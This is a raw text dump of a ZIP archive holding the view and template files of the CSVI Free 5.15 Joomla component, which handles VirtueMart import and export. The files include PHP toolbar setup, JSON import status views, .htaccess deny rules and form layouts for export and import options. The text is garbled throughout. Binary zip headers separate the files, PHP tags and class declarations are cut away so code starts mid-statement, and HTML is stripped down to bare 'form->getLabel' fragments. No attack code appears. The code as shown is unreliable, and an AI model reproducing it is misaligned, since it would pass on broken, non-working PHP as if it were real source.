      PKs>\)+com_csvi/views/templatetypes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)&com_csvi/views/templatetypes/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,'com_csvi/views/templatetypes/index.htmlnuW+APKs>\똢77*com_csvi/views/templatetypes/view.html.phpnuW+Atemplatetypes = $this->get('Items'); // Get the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_TEMPLATETYPES'), 'csvi_templates_48'); JToolBarHelper::custom('templatetype.add', 'new.png', 'new_f2.png','JTOOLBAR_NEW', false); JToolBarHelper::custom('templatetype.edit', 'edit.png', 'edit_f2.png','JTOOLBAR_EDIT', true); //JToolBarHelper::help('about.html', true); // Display it all parent::display($tpl); } } ?>PKs>\GY Y (com_csvi/views/replacement/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Toolbar for product editing * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return void * @since 1.0 */ protected function addToolbar() { // Hide the mainmenu JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); JToolBarHelper::title(JText::_('COM_CSVI_PAGE_'.($checkedOut ? 'VIEW_REPLACEMENT' : ($isNew ? 'ADD_REPLACEMENT' : 'EDIT_REPLACEMENT'))), 'csvi_replacement_48'); if (!$checkedOut) { JToolBarHelper::apply('replacement.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('replacement.save', 'JTOOLBAR_SAVE'); JToolBarHelper::custom('replacement.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); } // If an existing item, can save to a copy. if (!$isNew) { JToolBarHelper::custom('replacement.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); } if (empty($this->item->id)) { JToolBarHelper::cancel('replacement.cancel', 'JTOOLBAR_CANCEL'); } else { JToolBarHelper::cancel('replacement.cancel', 'JTOOLBAR_CLOSE'); } } } ?>PKs>\))com_csvi/views/replacement/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\wtW*com_csvi/views/replacement/tmpl/index.htmlnuW+APKs>\vv(com_csvi/views/replacement/tmpl/edit.phpnuW+A
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('findtext'); ?> form->getInput('findtext'); ?>
      • form->getLabel('replacetext'); ?> form->getInput('replacetext'); ?>
      • form->getLabel('method'); ?> form->getInput('method'); ?>
      PKs>\#o,,%com_csvi/views/replacement/index.htmlnuW+APKs>\)$com_csvi/views/replacement/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,)com_csvi/views/importfile/tmpl/index.htmlnuW+APKs>\3'com_csvi/views/importfile/tmpl/cron.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Display any messages there are if (!empty($csvilog->logmessage)) echo $csvilog->logmessage; else { echo JText::sprintf('COM_CSVI_RESULTS_FOR', $csvilog->getFilename())."\n"; echo str_repeat("=", (strlen(JText::_('COM_CSVI_RESULTS_FOR'))+strlen($csvilog->getFilename())+1))."\n"; if (!empty($this->logresult['result'])) { echo JText::_('COM_CSVI_TOTAL')."\t\t".JText::_('COM_CSVI_RESULT')."\t\t".JText::_('COM_CSVI_STATUS')."\n"; foreach ($this->logresult['result'] as $result => $log) { echo $log->total_result."\t\t".$log->result."\t\t".JText::_('COM_CSVI_'.$log->status)."\n"; } } else echo JText::_('COM_CSVI_NO_RESULTS_FOUND')."\n"; } ?>PKs>\9\)44*com_csvi/views/importfile/tmpl/default.phpnuW+Ainput; ?>
      template_name); ?>
      PKs>\)(com_csvi/views/importfile/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\PpQQ'com_csvi/views/importfile/view.html.phpnuW+Ainput; $template = $jinput->get('template', null, null); $this->template_name = $template->get('template_name'); // Toolbar $jinput->set('hidemainmenu', 1); JToolBarHelper::title(JText::_( 'COM_CSVI_IMPORTING' ), 'csvi_import_48'); JToolBarHelper::custom('process.cancelimport', 'csvi_cancel_32', 'csvi_cancel_32', JText::_('COM_CSVI_CANCEL'), false); JToolBarHelper::custom('importfile.doimport', 'csvi_import_32', 'csvi_import_32', JText::_('COM_CSVI_IMPORT'), false); // Display it all parent::display($tpl); } } ?>PKs>\L 'com_csvi/views/importfile/view.json.phpnuW+Ainput; if ($jinput->get('importsession', true, 'bool')) { // Process the data $this->get('ProcessData'); // Empty the message stack $app = JFactory::getApplication(); $app->set('_messageQueue', array()); // Collect the results $result = array(); // Set the view mode if ($jinput->get('csvipreview', false, 'bool')) { $result['view'] = 'preview'; $result['headers'] = $jinput->get('headers_preview', null, null); $result['output'] = $jinput->get('data_preview', null, null); if (empty($results['headers']) && empty($result['output'])) { $result['process'] = false; $csvilog = $jinput->get('csvilog', null, null); $result['url'] = JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$csvilog->getId(); // Clean the session, nothing to import $this->get('CleanSession'); } else $result['process'] = true; } else { $result['view'] = ''; // Get the number of records processed $result['records'] = $jinput->get('recordsprocessed', 0, 'int'); if ($result['records'] == 0) { $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$jinput->get('run_id', 0, 'int'); } else { $result['process'] = true; } } } else { $csvilog = $jinput->get('csvilog', null, null); // Collect the results $result = array(); $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$jinput->get('run_id', 0, 'int'); // Clean the session, nothing to import $this->get('CleanSession'); } if ($result['process']) { // Import is not finished, lets sleep $settings = new CsviSettings(); sleep($settings->get('import.import_wait', 0)); } // Output the results echo json_encode($result); } } ?>PKs>\#o,,$com_csvi/views/importfile/index.htmlnuW+APKs>\)#com_csvi/views/importfile/.htaccessnuW+A Order allow,deny Deny from all PKs>\ F""'com_csvi/views/importfile/view.cron.phpnuW+Ainput; if (!$jinput->get('error', false, 'bool')) { // Process the data $this->get('ProcessData'); } // Assign the data $this->assignRef('logresult', $this->get('Stats', 'log')); // Display it all parent::display($tpl); } } ?>PKs>\tIf(($com_csvi/views/install/view.html.phpnuW+AaddStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/install.css'); // Load the installed version $this->selectversion = $this->get('Version'); $this->newversion = CSVI_VERSION; // Options of extra tasks to do during installation $this->installoptions = array(); $this->installoptions[] = JHtml::_('select.option', 'availablefields', JText::_('COM_CSVI_UPDATEAVAILABLEFIELDS_LABEL')); $this->installoptions[] = JHtml::_('select.option', 'sampletemplates', JText::_('COM_CSVI_INSTALLDEFAULTTEMPLATES_LABEL')); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_INSTALL'), 'csvi_install_48'); //JToolBarHelper::help('install.html', true); // Display it all parent::display($tpl); } } ?>PKs>\#o,,!com_csvi/views/install/index.htmlnuW+APKs>\) com_csvi/views/install/.htaccessnuW+A Order allow,deny Deny from all PKs>\!4 BB$com_csvi/views/install/view.json.phpnuW+Aget($task); if (JRequest::getBool('cancelinstall')) { $result['tasks'] = ''; } else { $result['results']['messages'][] = JText::_('COM_CSVI_COMPLETED_'.strtoupper($task)); // Add remaining tasks to the result for further processing $result['tasks'] = implode('.', $tasks); } // Send back the result echo json_encode($result); } } ?>PKs>\)%com_csvi/views/install/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,&com_csvi/views/install/tmpl/index.htmlnuW+APKs>\.dd'com_csvi/views/install/tmpl/default.phpnuW+A
      selectversion == 'current') echo JText::_('COM_CSVI_NONEW_VERSION'); else echo JText::sprintf('COM_CSVI_FOUND_VERSION', $this->selectversion); ?>
      newversion); ?>
      installoptions as $installoption) { if ($installoption->value == 'availablefields') $checked = 'checked="checked"'; else $checked = ''; ?> />text; ?>
      selectversion != 'current') { ?>
      PKs>\'4  %com_csvi/views/about/tmpl/default.phpnuW+A folders as $name => $access) { ?>
      '.JText::_('COM_CSVI_WRITABLE').''; } else { echo ''.JText::_('COM_CSVI_NOT_WRITABLE').''; } ?>

      Name:CSVI Free
      Version:5.15
      Coded by:RolandD Cyber Produksi
      Contact:contact@csvimproved.com
      Support:
      Copyright:Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
      License:
      PKs>\)#com_csvi/views/about/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,$com_csvi/views/about/tmpl/index.htmlnuW+APKs>\#o,,com_csvi/views/about/index.htmlnuW+APKs>\)com_csvi/views/about/.htaccessnuW+A Order allow,deny Deny from all PKs>\L.ñ"com_csvi/views/about/view.html.phpnuW+Afolders = $this->get('FolderCheck'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_ABOUT'), 'csvi_about_48'); //JToolBarHelper::help('about.html', true); // Display it all parent::display($tpl); } } ?>PKs>\D`FF$com_csvi/views/process/view.html.phpnuW+Ainput; $session = JFactory::getSession(); $option = $jinput->get('option'); // Load the models $model = $this->getModel(); $this->setModel(JModel::getInstance('templates', 'CsviModel')); $this->setModel(JModel::getInstance('availablefields', 'CsviModel')); // Load stylesheet $document = JFactory::getDocument(); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/process.css'); // Set the template ID $template_id = $jinput->get('template_id', $session->get($option.'.select_template', 0), 'int'); $jinput->set('template_id', $template_id); // Load the saved templates $template_model = $this->getModel('Templates'); $this->templates = JHtml::_('select.genericlist', $template_model->getTemplates(), 'select_template', '', 'value', 'text', $jinput->get('template_id', 0, 'int')); // Load the selected template $this->loadHelper('template'); $this->template = new CsviTemplate(); $this->template->load($template_id); $jinput->set('template', $this->template); // Set the action, component and operation for the form if ($template_id > 0) $jinput->set('jform', $this->template->getSettings()); // Load the option templates $this->optiontemplates = $model->getOptions(); // Get the options for the user $this->form = $model->getForm(array(), true, $this->optiontemplates); // Load the fields $av_model = $this->getModel('availablefields'); $this->templatefields = $av_model->getAvailableFields($this->form->getValue('operation','options'), $this->form->getValue('component','options'), 'object', $this->form->getValue('custom_table')); // Load the replacements $this->replacements = $this->get('Replacements'); // Add the component path to find template files $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.'/views/process/tmpl/'.$this->form->getValue('component','options').'/'.$this->form->getValue('action','options')); $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.'/views/process/tmpl/'.$this->form->getValue('action','options')); // Load the helper $this->loadHelper($this->form->getValue('component','options')); // Load the configuration helper $this->loadHelper($this->form->getValue('component','options').'_config'); $classname = 'Csvi'.$this->form->getValue('component','options').'_config'; if (class_exists($classname)) $this->config = new $classname; // Get the panel $this->loadHelper('panel'); // Get the toolbar title JToolBarHelper::title(JText::_('COM_CSVI_PROCESS'), 'csvi_process_48'); // Get the toolbar JToolBarHelper::custom('cronline', 'csvi_cron_32', 'csvi_cron_32', JText::_('COM_CSVI_CRONLINE'), false); JToolBarHelper::custom('process.imexport', 'csvi_process_32', 'csvi_process_32', JText::_('COM_CSVI_PROCESS'), false); //JToolBarHelper::help('process.html', true); // Display it all parent::display($tpl); } } ?> PKs>\#o,,!com_csvi/views/process/index.htmlnuW+APKs>\#o,,/com_csvi/views/process/tmpl/com_csvi/index.htmlnuW+APKs>\ <com_csvi/views/process/tmpl/com_csvi/export/default_file.phpnuW+A
      • form->getLabel('export_filename', 'general'); ?>
        form->getInput('export_filename', 'general'); ?>
      • form->getLabel('export_file', 'general'); ?>
        form->getInput('export_file', 'general'); ?>
      • form->getLabel('export_site', 'general'); ?>
        form->getInput('export_site', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('include_column_headers', 'general'); ?>
        form->getInput('include_column_headers', 'general'); ?>
      • form->getLabel('signature', 'general'); ?>
        form->getInput('signature', 'general'); ?>
      • form->getLabel('export_frontend', 'general'); ?>
        form->getInput('export_frontend', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('recordstart', 'general'); ?>
        form->getInput('recordstart', 'general'); ?> form->getInput('recordend', 'general'); ?>
      • form->getLabel('groupby', 'general'); ?>
        form->getInput('groupby', 'general'); ?>
      PKs>\)5com_csvi/views/process/tmpl/com_csvi/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,6com_csvi/views/process/tmpl/com_csvi/export/index.htmlnuW+APKs>\).com_csvi/views/process/tmpl/com_csvi/.htaccessnuW+A Order allow,deny Deny from all PKs>\K8Fcom_csvi/views/process/tmpl/com_virtuemart/export/default_userinfo.phpnuW+A
      • form->getLabel('userinfo_address', 'userinfo'); ?>
        form->getInput('userinfo_address', 'userinfo'); ?>
      • form->getLabel('vendors', 'userinfo'); ?>
        form->getInput('vendors', 'userinfo'); ?>
      • form->getLabel('permissions', 'userinfo'); ?>
        form->getInput('permissions', 'userinfo'); ?>
      • form->getLabel('userinfomdatestart', 'userinfo'); ?>
        form->getInput('userinfomdatestart', 'userinfo'); ?> form->getInput('userinfomdateend', 'userinfo'); ?>
      PKs>\lQJcom_csvi/views/process/tmpl/com_virtuemart/export/default_manufacturer.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      PKs>\^{Bcom_csvi/views/process/tmpl/com_virtuemart/export/default_calc.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PKs>\%Fcom_csvi/views/process/tmpl/com_virtuemart/export/default_shipping.phpnuW+A
      'addRow_shopper_shipping')); ?>

      template->get('shopper_shipping_export_fields', '', array()); if (isset($shopper_shipping_fields['_price_from'])) { $count = count($shopper_shipping_fields['_price_from']); for ($rows = 0; $rows < $count; $rows++) { $id = mt_rand(); ?>
      PKs>\9zzBcom_csvi/views/process/tmpl/com_virtuemart/export/default_file.phpnuW+A
      • form->getLabel('export_filename', 'general'); ?>
        form->getInput('export_filename', 'general'); ?>
      • form->getLabel('export_file', 'general'); ?>
        form->getInput('export_file', 'general'); ?>
      • form->getLabel('export_site', 'general'); ?>
        form->getInput('export_site', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('include_column_headers', 'general'); ?>
        form->getInput('include_column_headers', 'general'); ?>
      • form->getLabel('signature', 'general'); ?>
        form->getInput('signature', 'general'); ?>
      • form->getLabel('export_frontend', 'general'); ?>
        form->getInput('export_frontend', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('publish_state', 'general'); ?>
        form->getInput('publish_state', 'general'); ?>
      • form->getLabel('recordstart', 'general'); ?>
        form->getInput('recordstart', 'general'); ?> form->getInput('recordend', 'general'); ?>
      • form->getLabel('groupby', 'general'); ?>
        form->getInput('groupby', 'general'); ?>
      • form->getLabel('export_date_format', 'general'); ?>
        form->getInput('export_date_format', 'general'); ?>

      • form->getLabel('export_price_format_decimal', 'general'); ?>
        form->getInput('export_price_format_decimal', 'general'); ?>
      • form->getLabel('export_price_format_decsep', 'general'); ?>
        form->getInput('export_price_format_decsep', 'general'); ?>
      • form->getLabel('export_price_format_thousep', 'general'); ?>
        form->getInput('export_price_format_thousep', 'general'); ?>
      • form->getLabel('add_currency_to_price', 'general'); ?>
        form->getInput('add_currency_to_price', 'general'); ?>
      PKs>\yYFcom_csvi/views/process/tmpl/com_virtuemart/export/default_category.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PKs>\#o,,<com_csvi/views/process/tmpl/com_virtuemart/export/index.htmlnuW+APKs>\);com_csvi/views/process/tmpl/com_virtuemart/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\I Gcom_csvi/views/process/tmpl/com_virtuemart/export/default_orderitem.phpnuW+A
      • form->getLabel('orderitemnostart', 'orderitem'); ?>
        form->getInput('orderitemnostart', 'orderitem'); ?> form->getInput('orderitemnoend', 'orderitem'); ?>
      • form->getLabel('orderitemlist', 'orderitem'); ?>
        form->getInput('orderitemlist', 'orderitem'); ?>
      • form->getLabel('orderitemdatestart', 'orderitem'); ?>
        form->getInput('orderitemdatestart', 'orderitem'); ?> form->getInput('orderitemdateend', 'orderitem'); ?>
      • form->getLabel('orderitemmdatestart', 'orderitem'); ?>
        form->getInput('orderitemmdatestart', 'orderitem'); ?> form->getInput('orderitemmdateend', 'orderitem'); ?>
      • form->getLabel('orderitemstatus', 'orderitem'); ?>
        form->getInput('orderitemstatus', 'orderitem'); ?>
      • form->getLabel('orderitemcurrency', 'orderitem'); ?>
        form->getInput('orderitemcurrency', 'orderitem'); ?>
      • form->getLabel('orderitempricestart', 'orderitem'); ?>
        form->getInput('orderitempricestart', 'orderitem'); ?> form->getInput('orderitemspriceend', 'orderitem'); ?>
      form->getLabel('orderitemproduct', 'orderitem'); ?> form->getInput('orderitemproduct', 'orderitem'); ?>
      PKs>\3[[Ccom_csvi/views/process/tmpl/com_virtuemart/export/default_order.phpnuW+A
      • form->getLabel('ordernostart', 'order'); ?>
        form->getInput('ordernostart', 'order'); ?> form->getInput('ordernoend', 'order'); ?>
      • form->getLabel('orderlist', 'order'); ?>
        form->getInput('orderlist', 'order'); ?>
      • form->getLabel('orderdatestart', 'order'); ?>
        form->getInput('orderdatestart', 'order'); ?> form->getInput('orderdateend', 'order'); ?>
      • form->getLabel('ordermdatestart', 'order'); ?>
        form->getInput('ordermdatestart', 'order'); ?> form->getInput('ordermdateend', 'order'); ?>
      • form->getLabel('orderstatus', 'order'); ?>
        form->getInput('orderstatus', 'order'); ?>
      • form->getLabel('orderpayment', 'order'); ?>
        form->getInput('orderpayment', 'order'); ?>
      • form->getLabel('order_address', 'order'); ?>
        form->getInput('order_address', 'order'); ?>
      • form->getLabel('ordermanufacturer', 'order'); ?>
        form->getInput('ordermanufacturer', 'order'); ?>
      • form->getLabel('ordercurrency', 'order'); ?>
        form->getInput('ordercurrency', 'order'); ?>
      • form->getLabel('orderpricestart', 'order'); ?>
        form->getInput('orderpricestart', 'order'); ?> form->getInput('orderpriceend', 'order'); ?>
      form->getLabel('orderuser', 'order'); ?>
      form->getInput('orderuser', 'order'); ?>
      form->getLabel('orderproduct', 'order'); ?>
      form->getInput('orderproduct', 'order'); ?>
      PKs>\0Ecom_csvi/views/process/tmpl/com_virtuemart/export/default_product.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('exportsef', 'product'); ?>
        form->getInput('exportsef', 'product'); ?>
      • form->getLabel('producturl_suffix', 'product'); ?>
        form->getInput('producturl_suffix', 'product'); ?>
      • form->getLabel('featured', 'product'); ?>
        form->getInput('featured', 'product'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      • form->getLabel('product_categories', 'product'); ?>
        form->getInput('product_categories', 'product'); ?>
      • form->getLabel('publish_state_categories', 'product'); ?>
        form->getInput('publish_state_categories', 'product'); ?>
      • form->getLabel('incl_subcategory', 'product'); ?>
        form->getInput('incl_subcategory', 'product'); ?>
      • form->getLabel('parent_only', 'product'); ?>
        form->getInput('parent_only', 'product'); ?>
      • form->getLabel('child_only', 'product'); ?>
        form->getInput('child_only', 'product'); ?>
      • form->getLabel('custom_title', 'product'); ?>
        form->getInput('custom_title', 'product'); ?>
      • form->getLabel('productskufilter', 'product'); ?>
        form->getInput('productskufilter', 'product'); ?>
      • form->getLabel('pricefrom', 'product'); ?>
        form->getInput('priceoperator', 'product'); ?> form->getInput('pricefrom', 'product'); ?> form->getInput('priceto', 'product'); ?>
      • form->getLabel('stocklevelstart', 'product'); ?>
        form->getInput('stocklevelstart', 'product'); ?> form->getInput('stocklevelend', 'product'); ?>
      • form->getLabel('targetcurrency', 'product'); ?>
        form->getInput('targetcurrency', 'product'); ?>
      • form->getLabel('shopper_groups', 'product'); ?>
        form->getInput('shopper_groups', 'product'); ?>
      • form->getLabel('manufacturers', 'product'); ?>
        form->getInput('manufacturers', 'product'); ?>
      PKs>\)4com_csvi/views/process/tmpl/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKs>\&}uuKcom_csvi/views/process/tmpl/com_virtuemart/import/default_category_path.phpnuW+A
      • form->getLabel('file_location_category_images', 'path'); ?>
        form->getInput('file_location_category_images', 'path'); ?>
        '.$this->config->get('media_category_path').'');?> | |
      PKs>\`Hcom_csvi/views/process/tmpl/com_virtuemart/import/default_media_path.phpnuW+A
      • form->getLabel('file_location_product_images', 'path'); ?>
        form->getInput('file_location_product_images', 'path'); ?>
        '.$this->config->get('media_product_path').'');?> | |
      • form->getLabel('file_location_category_images', 'path'); ?>
        form->getInput('file_location_category_images', 'path'); ?>
        '.$this->config->get('media_category_path').'');?> | |
      PKs>\UNFcom_csvi/views/process/tmpl/com_virtuemart/import/default_category.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('target_language', 'general'); ?>
        form->getInput('target_language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PKs>\ujP P Ecom_csvi/views/process/tmpl/com_virtuemart/import/default_product.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      • form->getLabel('append_categories', 'product'); ?>
        form->getInput('append_categories', 'product'); ?>
      • form->getLabel('update_based_on', 'product'); ?>
        form->getInput('update_based_on', 'product'); ?>
      • form->getLabel('mpn_column_name', 'product'); ?>
        form->getInput('mpn_column_name', 'product'); ?>
      • form->getLabel('unpublish_before_import', 'product'); ?>
        form->getInput('unpublish_before_import', 'product'); ?>
      • form->getLabel('use_icecat', 'product'); ?>
        form->getInput('use_icecat', 'product'); ?>
      PKs>\);com_csvi/views/process/tmpl/com_virtuemart/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\>&Lcom_csvi/views/process/tmpl/com_virtuemart/import/default_category_image.phpnuW+A
      • form->getLabel('process_image', 'image'); ?>
        form->getInput('process_image', 'image'); ?>
      • form->getLabel('change_case', 'image'); ?>
        form->getInput('change_case', 'image'); ?>
      • form->getLabel('keep_original', 'image'); ?>
        form->getInput('keep_original', 'image'); ?>
      • form->getLabel('convert_type', 'image'); ?>
        form->getInput('convert_type', 'image'); ?>
      • form->getLabel('save_images_on_server', 'image'); ?>
        form->getInput('save_images_on_server', 'image'); ?>
      • form->getLabel('full_resize', 'image'); ?>
        form->getInput('full_resize', 'image'); ?>
      • form->getLabel('full_width', 'image'); ?>
        form->getInput('full_width', 'image'); ?>
      • form->getLabel('full_height', 'image'); ?>
        form->getInput('full_height', 'image'); ?>
      • form->getLabel('thumb_check_filetype', 'image'); ?>
        form->getInput('thumb_check_filetype', 'image'); ?>
      • form->getLabel('thumb_create', 'image'); ?>
        form->getInput('thumb_create', 'image'); ?>
      • form->getLabel('thumb_extension', 'image'); ?>
        form->getInput('thumb_extension', 'image'); ?>
      • form->getLabel('thumb_width', 'image'); ?>
        form->getInput('thumb_width', 'image'); ?>
      • form->getLabel('thumb_height', 'image'); ?>
        form->getInput('thumb_height', 'image'); ?>
      PKs>\#o,,<com_csvi/views/process/tmpl/com_virtuemart/import/index.htmlnuW+APKs>\qU''Hcom_csvi/views/process/tmpl/com_virtuemart/import/default_order_item.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      PKs>\-Kcom_csvi/views/process/tmpl/com_virtuemart/import/default_category_file.phpnuW+A
      • form->getLabel('auto_detect_delimiters', 'general'); ?>
        form->getInput('auto_detect_delimiters', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('im_mac', 'general'); ?>
        form->getInput('im_mac', 'general'); ?>
      • form->getLabel('use_column_headers', 'general'); ?>
        form->getInput('use_column_headers', 'general'); ?>
      • form->getLabel('skip_first_line', 'general'); ?>
        form->getInput('skip_first_line', 'general'); ?>
      • form->getLabel('skip_default_value', 'general'); ?>
        form->getInput('skip_default_value', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('refresh_xml_headers', 'general'); ?>
        form->getInput('refresh_xml_headers', 'general'); ?>
      • form->getLabel('xml_nodes_map', 'general'); ?>
        form->getInput('xml_nodes_map', 'general'); ?>
      PKs>\ȋ[u++Ccom_csvi/views/process/tmpl/com_virtuemart/import/default_media.phpnuW+A
      • form->getLabel('ignore_non_exist', 'media'); ?>
        form->getInput('ignore_non_exist', 'media'); ?>
      PKs>\(oIcom_csvi/views/process/tmpl/com_virtuemart/import/default_media_image.phpnuW+A
      • form->getLabel('process_image', 'image'); ?>
        form->getInput('process_image', 'image'); ?>
      • form->getLabel('change_case', 'image'); ?>
        form->getInput('change_case', 'image'); ?>
      • form->getLabel('keep_original', 'image'); ?>
        form->getInput('keep_original', 'image'); ?>
      • form->getLabel('convert_type', 'image'); ?>
        form->getInput('convert_type', 'image'); ?>
      • form->getLabel('save_images_on_server', 'image'); ?>
        form->getInput('save_images_on_server', 'image'); ?>
      • form->getLabel('full_resize', 'image'); ?>
        form->getInput('full_resize', 'image'); ?>
      • form->getLabel('full_width', 'image'); ?>
        form->getInput('full_width', 'image'); ?>
      • form->getLabel('full_height', 'image'); ?>
        form->getInput('full_height', 'image'); ?>
      • form->getLabel('thumb_check_filetype', 'image'); ?>
        form->getInput('thumb_check_filetype', 'image'); ?>
      • form->getLabel('thumb_create', 'image'); ?>
        form->getInput('thumb_create', 'image'); ?>
      • form->getLabel('thumb_extension', 'image'); ?>
        form->getInput('thumb_extension', 'image'); ?>
      • form->getLabel('thumb_width', 'image'); ?>
        form->getInput('thumb_width', 'image'); ?>
      • form->getLabel('thumb_height', 'image'); ?>
        form->getInput('thumb_height', 'image'); ?>
      PKs>\66Scom_csvi/views/process/tmpl/com_virtuemart/import/default_manufacturer_category.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      PKs>\ڞCcom_csvi/views/process/tmpl/com_virtuemart/import/default_image.phpnuW+A
      • form->getLabel('process_image', 'image'); ?>
        form->getInput('process_image', 'image'); ?>
      • form->getLabel('auto_generate_image_name', 'image'); ?>
        form->getInput('auto_generate_image_name', 'image'); ?>
      • form->getLabel('type_generate_image_name', 'image'); ?>
        form->getInput('type_generate_image_name', 'image'); ?>
      • form->getLabel('autogenerateext', 'image'); ?>
        form->getInput('autogenerateext', 'image'); ?>
      • form->getLabel('change_case', 'image'); ?>
        form->getInput('change_case', 'image'); ?>
      • form->getLabel('keep_original', 'image'); ?>
        form->getInput('keep_original', 'image'); ?>
      • form->getLabel('convert_type', 'image'); ?>
        form->getInput('convert_type', 'image'); ?>
      • form->getLabel('save_images_on_server', 'image'); ?>
        form->getInput('save_images_on_server', 'image'); ?>
      • form->getLabel('full_resize', 'image'); ?>
        form->getInput('full_resize', 'image'); ?>
      • form->getLabel('full_width', 'image'); ?>
        form->getInput('full_width', 'image'); ?>
      • form->getLabel('full_height', 'image'); ?>
        form->getInput('full_height', 'image'); ?>
      • form->getLabel('thumb_check_filetype', 'image'); ?>
        form->getInput('thumb_check_filetype', 'image'); ?>
      • form->getLabel('thumb_create', 'image'); ?>
        form->getInput('thumb_create', 'image'); ?>
      • form->getLabel('thumb_extension', 'image'); ?>
        form->getInput('thumb_extension', 'image'); ?>
      • form->getLabel('thumb_width', 'image'); ?>
        form->getInput('thumb_width', 'image'); ?>
      • form->getLabel('thumb_height', 'image'); ?>
        form->getInput('thumb_height', 'image'); ?>
      PKs>\t6$$Jcom_csvi/views/process/tmpl/com_virtuemart/import/default_manufacturer.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      PKs>\ܭ,Jcom_csvi/views/process/tmpl/com_virtuemart/import/default_product_path.phpnuW+A
      • form->getLabel('file_location_product_images', 'path'); ?>
        form->getInput('file_location_product_images', 'path'); ?>
        '.$this->config->get('media_product_path').'');?> | |
      PKs>\^{Bcom_csvi/views/process/tmpl/com_virtuemart/import/default_calc.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PKs>\-Ocom_csvi/views/process/tmpl/com_virtuemart/import/default_manufacturer_file.phpnuW+A
      • form->getLabel('auto_detect_delimiters', 'general'); ?>
        form->getInput('auto_detect_delimiters', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('im_mac', 'general'); ?>
        form->getInput('im_mac', 'general'); ?>
      • form->getLabel('use_column_headers', 'general'); ?>
